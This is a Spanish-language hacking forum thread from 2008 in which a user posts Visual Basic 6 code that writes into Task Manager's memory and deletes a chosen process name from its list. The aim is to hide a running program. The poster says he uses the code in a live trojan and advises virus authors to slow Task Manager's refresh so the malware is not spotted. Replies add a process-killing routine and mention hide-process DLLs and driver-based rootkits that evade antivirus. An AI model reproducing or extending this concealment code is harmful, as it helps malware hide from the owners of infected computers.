Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: BlackZeroX en 5 Agosto 2008, 07:33 am



Título: [Source-Actualisado] Jodiendo el Administrador de Tareas...
Publicado por: BlackZeroX en 5 Agosto 2008, 07:33 am
Este codigo lo ocupo en un troyano que tengo Online actualmente. aca el codigo

Se agradese a quien lo aya hecho ja ;D ;D ;D

Lo que hace este codigo es secillo y es:

Código:
Localisar primero el Administrador de tareas
Enlistar todo y cada uno de sus controles ' Asi lo entendi yo ok
localisar la lista de los procesos y despues quitar el proceso indicado... en este caso el notepad.exe

Actualisado....

En un Formulario comun poner solo esto y nada Mas...
Código
  1. Private WithEvents Timer1 As Timer
  2. Private Sub Form_Load()
  3.    MsgBox "Ejecuta el Administrador de Tareas... [ Control + Alt + Supr ]"
  4.    Shell "c:\windows\system32\notepad.exe", vbNormalFocus
  5.    Set Timer1 = Me.Controls.Add("vb.timer", "Timer")
  6.    Timer1.Interval = 1000
  7.    Timer1.Enabled = True
  8. End Sub
  9. Private Sub Timer1_Timer()
  10.    Dim hWnd1 As Long
  11.    hWnd1 = FindWindow(vbNullString, "Administrador de tareas de Windows")
  12.    HandleW = hWnd1
  13.    If (hWnd1 <= 0) Then
  14.        Caption = "No se ha encontrado el administrador de tareas"
  15.    Else
  16.        Caption = "Se ha encontrado el administrador de tareas"
  17.        EnumChildWindows hWnd1, AddressOf Procesitos, 1 'lParam
  18.    End If
  19. End Sub
  20.  


En un Modulo poner esto otro...
Código
  1. Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
  2. Public Declare Function EnumChildWindows Lib "user32" (ByVal hWndParent As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
  3. Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
  4. Public Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
  5. Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
  6.  
  7.  
  8. Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
  9. Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
  10. Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
  11. Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
  12.  
  13. Const PROCESS_VM_OPERATION = &H8
  14. Const PROCESS_VM_READ = &H10
  15. Const PROCESS_VM_WRITE = &H20
  16. Const PROCESS_ALL_ACCESS = 0
  17. Private Const PAGE_READWRITE = &H4&
  18.  
  19. Const MEM_COMMIT = &H1000
  20. Const MEM_RESERVE = &H2000
  21. Const MEM_DECOMMIT = &H4000
  22. Const MEM_RELEASE = &H8000
  23. Const MEM_FREE = &H10000
  24. Const MEM_PRIVATE = &H20000
  25. Const MEM_MAPPED = &H40000
  26. Const MEM_TOP_DOWN = &H100000
  27.  
  28. Private Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
  29. Private Declare Function VirtualFreeEx Lib "kernel32" (ByVal hProcess As Long, lpAddress As Any, ByVal dwSize As Long, ByVal dwFreeType As Long) As Long
  30. Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
  31.  
  32. Private ASDQWEZXC As String
  33.  
  34. Private Const LVM_FIRST = &H1000
  35. Private Const LVM_GETTITEMCOUNT& = (LVM_FIRST + 4)
  36.  
  37. Private Const LVM_GETITEMW = (LVM_FIRST + 75)
  38. Private Const LVIF_TEXT = &H1
  39. Private Const LVM_DELETEITEM = 4104
  40.  
  41. Public Type LV_ITEM
  42.    mask As Long
  43.    iItem As Long
  44.    iSubItem As Long
  45.    state As Long
  46.    stateMask As Long
  47.    lpszText As Long 'LPCSTR
  48.    cchTextMax As Long
  49.    iImage As Long
  50.    lParam As Long
  51.    iIndent As Long
  52. End Type
  53.  
  54. Type LV_TEXT
  55.    sItemText As String * 80
  56. End Type
  57.  
  58. Public Function Procesitos(ByVal hWnd2 As Long, lParam As String) As Boolean
  59. Dim Nombre As String * 255, nombreClase As String * 255
  60. Dim Nombre2 As String, nombreClase2 As String
  61. Dim X As Long, Y As Long
  62. X = GetWindowText(hWnd2, Nombre, 255)
  63. Y = GetClassName(hWnd2, nombreClase, 255)
  64.  
  65. Nombre = Left(Nombre, X)
  66. nombreClase = Left(nombreClase, Y)
  67. Nombre2 = Trim(Nombre)
  68. nombreClase2 = Trim(nombreClase)
  69. If nombreClase2 = "SysListView32" And Nombre2 = "Procesos" Then
  70.   JodeLosItems (hWnd2)
  71.   Exit Function
  72. End If
  73. If Nombre2 = "" And nombreClase2 = "" Then
  74. Procesitos = False
  75. Else
  76. Procesitos = True
  77. End If
  78. End Function
  79.  
  80. Public Function JodeLosItems(ByVal hListView As Long) ' As Variant
  81.   Dim pid As Long, tid As Long
  82.   Dim hProceso As Long, nElem As Long, lEscribiendo As Long, i As Long
  83.   Dim DirMemComp As Long, dwTam As Long
  84.   Dim DirMemComp2 As Long
  85.   Dim sLVItems() As String
  86.   Dim li As LV_ITEM
  87.   Dim lt As LV_TEXT
  88.   If hListView = 0 Then Exit Function
  89.   tid = GetWindowThreadProcessId(hListView, pid)
  90.   nElem = SendMessage(hListView, LVM_GETTITEMCOUNT, 0, 0&)
  91.   If nElem = 0 Then Exit Function
  92.   ReDim sLVItems(nElem - 1)
  93.   li.cchTextMax = 80
  94.   dwTam = Len(li)
  95.      DirMemComp = DameMemComp(pid, dwTam, hProceso)
  96.      DirMemComp2 = DameMemComp(pid, LenB(lt), hProceso)
  97.      For i = 0 To nElem - 1
  98.          li.lpszText = DirMemComp2
  99.          li.cchTextMax = 80
  100.          li.iItem = i
  101.          li.mask = LVIF_TEXT
  102.          WriteProcessMemory hProceso, ByVal DirMemComp, li, dwTam, lEscribiendo
  103.          lt.sItemText = Space(80)
  104.          WriteProcessMemory hProceso, ByVal DirMemComp2, lt, LenB(lt), lEscribiendo
  105.          Call SendMessage(hListView, LVM_GETITEMW, 0, ByVal DirMemComp)
  106.          Call ReadProcessMemory(hProceso, ByVal DirMemComp2, lt, LenB(lt), lEscribiendo)
  107.          '''ASDQWEZXC = TrimNull(StrConv(lt.sItemText, vbFromUnicode))
  108.          '''Form1.Text1.Text = Form1.Text1.Text & vbCrLf & TrimNull(StrConv(lt.sItemText, vbFromUnicode))
  109.          '''If Len(Form1.Text1.Text) >= 10000 Then Form1.Text1.Text = ""
  110.  
  111.          If TrimNull(StrConv(lt.sItemText, vbFromUnicode)) = "notepad.exe" Then '<===========CAMBIAR
  112.           Call SendMessage(hListView, LVM_DELETEITEM, i, 0)
  113.           '''Form1.Text2 = i
  114.           Exit Function
  115.          End If
  116.      Next i
  117.      AdiosMemComp hProceso, DirMemComp, dwTam
  118.      AdiosMemComp hProceso, DirMemComp2, LenB(lt)
  119. End Function
  120.  
  121. Public Function DameMemComp(ByVal pid As Long, ByVal memTam As Long, hProceso As Long) As Long
  122.    hProceso = OpenProcess(PROCESS_VM_OPERATION Or PROCESS_VM_READ Or PROCESS_VM_WRITE, False, pid)
  123.    DameMemComp = VirtualAllocEx(ByVal hProceso, ByVal 0&, ByVal memTam, MEM_RESERVE Or MEM_COMMIT, PAGE_READWRITE)
  124. End Function
  125.  
  126. Public Sub AdiosMemComp(ByVal hProceso As Long, ByVal DirMem As Long, ByVal memTam As Long)
  127.   Call VirtualFreeEx(hProceso, ByVal DirMem, memTam, MEM_RELEASE)
  128.   CloseHandle hProceso
  129. End Sub
  130. Public Function TrimNull(jaja As String) As String
  131.   Dim pos As Integer
  132.   pos = InStr(jaja, Chr$(0))
  133.   If pos Then
  134.      TrimNull = Left$(jaja, pos - 1)
  135.      Exit Function
  136.   End If
  137.   TrimNull = jaja
  138. End Function
  139.  

Se entiende cuando se ejecuta por partes y muestra los resultados en pantalla asi lo entendi todo.

a si si lo usan para algun virus o algo no se otambien cambienle la prioridad al Administrador de Tareas en el momento... o modifiquen el codigo para que el refresco del Administrador de Tareas sea subitamente lento xP y no cachen el programa atiempo JOJOJO

PD.: Se ve bien a color no jaja, a y Reafirmo se agradece aquien lo aya hecho


Título: Re: [SourceCode] Jodiendo el Administrador de Tareas...
Publicado por: cassiani en 5 Agosto 2008, 07:39 am
PD.: Se ve bien a color no jaja,

Claro, claro, para eso se hicieron las etiquetas de GeShi  :-\

No hace falta que te esfuerces tanto :xD sombrea todo el code y le agregas la etiqueta seleccionando en el combo "GeShi" o editas la etiqueta code después de agregarla ==> code=vb  :P


Título: Re: [SourceCode] Jodiendo el Administrador de Tareas...
Publicado por: BlackZeroX en 5 Agosto 2008, 08:20 am
PD.: Se ve bien a color no jaja,

Claro, claro, para eso se hicieron las etiquetas de GeShi  :-\

No hace falta que te esfuerces tanto :xD sombrea todo el code y le agregas la etiqueta seleccionando en el combo "GeShi" o editas la etiqueta code después de agregarla ==> code=vb  :P

no me esforce en nada de nada ya que un programa que hice hace tiempo para pasar mis codigos de vb6 a html lo hace por mi solo lo modifique un poco para que en vez de Font color=.... etc sea [Color=... etc jaja ningun esfuerzo de nada en nada


Título: Re: [SourceCode] Jodiendo el Administrador de Tareas...
Publicado por: ‭‭‭‭jackl007 en 5 Agosto 2008, 16:24 pm
1. que hace el codigo? desactiva el adm. de tareas?  :-\
2. no es mas facil y mucho mejor esto:
Código:
 [code=vb]'Codigo[/code ] 


.....[/code]



osea por ejemplo:
Código
  1. Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
  2. Public Declare Function EnumChildWindows Lib "user32" (ByVal hWndParent As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
  3. Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
  4. Public Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
  5. Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
  6.  


Título: Re: [SourceCode] Jodiendo el Administrador de Tareas...
Publicado por: seba123neo en 5 Agosto 2008, 17:25 pm
aparte de todo lo que dijeron....esta mal coloreado.... :¬¬


Título: Re: [SourceCode] Jodiendo el Administrador de Tareas...
Publicado por: JmHk en 5 Agosto 2008, 23:55 pm
Los seres humano nos somos perfectos
 :laugh: :laugh: :laugh: :laugh:


Título: Re: [SourceCode] Jodiendo el Administrador de Tareas...
Publicado por: d(-_-)b en 6 Agosto 2008, 00:01 am
Porque te complicas la vida coloreando el code, no crees que seria mejor y mas facil usar el GeSHi  :xD

saludos...


Título: Re: [SourceCode] Jodiendo el Administrador de Tareas...
Publicado por: BlackZeroX en 6 Agosto 2008, 02:05 am
Los seres humano nos somos perfectos
 :laugh: :laugh: :laugh: :laugh:

Aaa si eso es cierto no sabia eso de Code=vb  jaja sorry ya lo edite bueno edito el 1er post y añado el codigo modificado para que lo vean mejor en ejecucion...


Título: Re: [Source-Actualisado] Jodiendo el Administrador de Tareas...
Publicado por: JmHk en 6 Agosto 2008, 02:39 am
ok mucho mejor

 ;D ;D ;D ;D ;D


Título: Re: [Source-Actualisado] Jodiendo el Administrador de Tareas...
Publicado por: ‭‭‭‭jackl007 en 6 Agosto 2008, 02:58 am
y que hace el codigo? exactamente


Título: Re: [Source-Actualisado] Jodiendo el Administrador de Tareas...
Publicado por: BlackZeroX en 6 Agosto 2008, 03:24 am
Este codigo lo ocupo en un troyano que tengo Online actualmente. aca el codigo

Se agradese a quien lo aya hecho ja ;D ;D ;D

Lo que hace este codigo es secillo y es:

Código:
Localisar primero el Administrador de tareas
Enlistar todo y cada uno de sus controles ' Asi lo entendi yo ok
localisar la lista de los procesos y despues quitar el proceso indicado... en este caso el notepad.exe

Actualisado....

En un Formulario comun poner solo esto y nada Mas...
Código
  1. Private WithEvents Timer1 As Timer
  2. Private Sub Form_Load()
  3.    MsgBox "Ejecuta el Administrador de Tareas... [ Control + Alt + Supr ]"
  4.    Shell "c:\windows\system32\notepad.exe", vbNormalFocus
  5.  
Deberias leer ¬¬


Título: Re: [Source-Actualisado] Jodiendo el Administrador de Tareas...
Publicado por: seba123neo en 6 Agosto 2008, 03:29 am
bueno mira primero no hace falta poner toda la ruta del notepad....la funcion shell trabaja sobre la carpeta del sistema por lo que poner esto es suficiente...

Código
  1. Shell "notepad.exe", vbNormalFocus

y lo otro que queria decir es que, el codigo a mi no me funciona...el proceso se ve igual...Leandro habia posteado una vez un ejemplo casi igual en otro foro...

saludos.





Título: Re: [Source-Actualisado] Jodiendo el Administrador de Tareas...
Publicado por: ‭‭‭‭jackl007 en 6 Agosto 2008, 04:15 am
Esto es mas efectivo y rapido si quieres finalizar el proceso: ;)
Código
  1. Public Sub KillProcess(ByVal processName As String)
  2.  
  3. 'Autor: Desconocido
  4.  
  5. '---CAPTURA DE ERROR---
  6. On Error GoTo ErrHandler
  7. '----------------------
  8. '---DECLARACIÓN DE VARIABLES---
  9.    Dim oWMI
  10.    Dim ret
  11.    Dim sService
  12.    Dim oWMIServices
  13.    Dim oWMIService
  14.    Dim oServices
  15.    Dim oService
  16.    Dim servicename
  17. '------------------------------
  18.  
  19. '--------------------SE OBTIENEN OBJETOS--------------------
  20.    Set oWMI = GetObject("winmgmts:")
  21.    Set oServices = oWMI.InstancesOf("win32_process")
  22. '-----------------------------------------------------------
  23.  
  24. '----------------------BUSCA EL PROCESO---------------------
  25.    For Each oService In oServices
  26.  
  27.        servicename = LCase(Trim(CStr(oService.Name) & ""))
  28.  
  29.        If InStr(1, servicename, _
  30.            LCase(processName), vbTextCompare) > 0 Then
  31.            ret = oService.Terminate
  32.        End If
  33.  
  34.    Next
  35. '-----------------------------------------------------------
  36.  
  37. '---------SE HACE NADA---------
  38.    Set oServices = Nothing
  39.    Set oWMI = Nothing
  40. '------------------------------
  41.  
  42. '---CAPTURA DE ERROR----
  43. ErrHandler:
  44.    Err.Clear
  45. '-----------------------
  46. End Sub


Título: Re: [Source-Actualisado] Jodiendo el Administrador de Tareas...
Publicado por: BlackZeroX en 6 Agosto 2008, 04:20 am
no es finalizar el proceso si no eliminar el item en este caso notepad.exe de la lista de procesos actuales del ADMINISTRADOR DE TAREAS actual pero sin que se termine me doy a entender es decir este codigo oculta de esa lista el nombre del proceso PERO NO lo termina en ningun momento

P.D. Para que se vea bien ordenen por nombre de usuario o nombre del proceso y vean como que aparece algo y desaparece eso es por que este codigo esta trabajando esa es su finalidad... a y otra cosa pongan en velocidad de actualisacion del administrador de tareas a normal y vean el codigo.


Título: Re: [Source-Actualisado] Jodiendo el Administrador de Tareas...
Publicado por: seba123neo en 6 Agosto 2008, 04:21 am
jaja esto no es para finalizar procesos, es para no mostrarlo en el adminstrador de tareas... :xD :xD


Título: Re: [Source-Actualisado] Jodiendo el Administrador de Tareas...
Publicado por: BlackZeroX en 6 Agosto 2008, 04:26 am
jaja esto no es para finalizar procesos, es para no mostrarlo en el adminstrador de tareas... :xD :xD

Esactamente


Título: Re: [Source-Actualisado] Jodiendo el Administrador de Tareas...
Publicado por: BlackZeroX en 6 Agosto 2008, 04:27 am
jaja esto no es para finalizar procesos, es para no mostrarlo en el adminstrador de tareas... :xD :xD

Amm doble post Sorry  (amm rayos ya no tienen la opcion de borrar ¬¬mmm bueno no la ayo jaja)


Título: Re: [Source-Actualisado] Jodiendo el Administrador de Tareas...
Publicado por: krackwar en 14 Agosto 2008, 04:04 am
Este code ya esta posteado en el foro de hecho el que lo traducio a VB es del foro  :xD .


Título: Re: [Source-Actualisado] Jodiendo el Administrador de Tareas...
Publicado por: byway en 31 Agosto 2008, 07:59 am
ummm ya vi esto y no es de mucha ayuda ... se ve parpadenado el nombre del proceso en el admin de procesos.. ademas consume mucho micro por el timer que esta constantemente leyendo la lista de procesos y ocultandola... para esto yo uso una dll hecha en otro lenguaje que por cierto tambien anda por el foro... HP.dll .. (hideprocess) ..

Salu2.


Título: Re: [Source-Actualisado] Jodiendo el Administrador de Tareas...
Publicado por: krackwar en 31 Agosto 2008, 18:56 pm
ummm ya vi esto y no es de mucha ayuda ... se ve parpadenado el nombre del proceso en el admin de procesos.. ademas consume mucho micro por el timer que esta constantemente leyendo la lista de procesos y ocultandola... para esto yo uso una dll hecha en otro lenguaje que por cierto tambien anda por el foro... HP.dll .. (hideprocess) ..

Salu2.
hay muchas maneeraas de  hacrlo sin dll.


Título: Re: [Source-Actualisado] Jodiendo el Administrador de Tareas...
Publicado por: byway en 31 Agosto 2008, 20:25 pm
hay muchas maneeraas de  hacrlo sin dll.
[/quote]

me referia que sea en vb y que no este parpadeando ni nada por el estilo... osea que lo esconda y listo... vi uno que lo hacia mediante la creacion de un driver en tiempo de ejecucion pero es detectado por algunos antivirus .. logico por la tarea que hace ...

y no solo oculat el proceso del task manager sino tambien de cualkier aplicacion que muestre los procesos ..

aki el link (http://www.Planet-Source-Code.com/vb/scripts/ShowCode.asp?txtCodeId=66529&lngWId=1)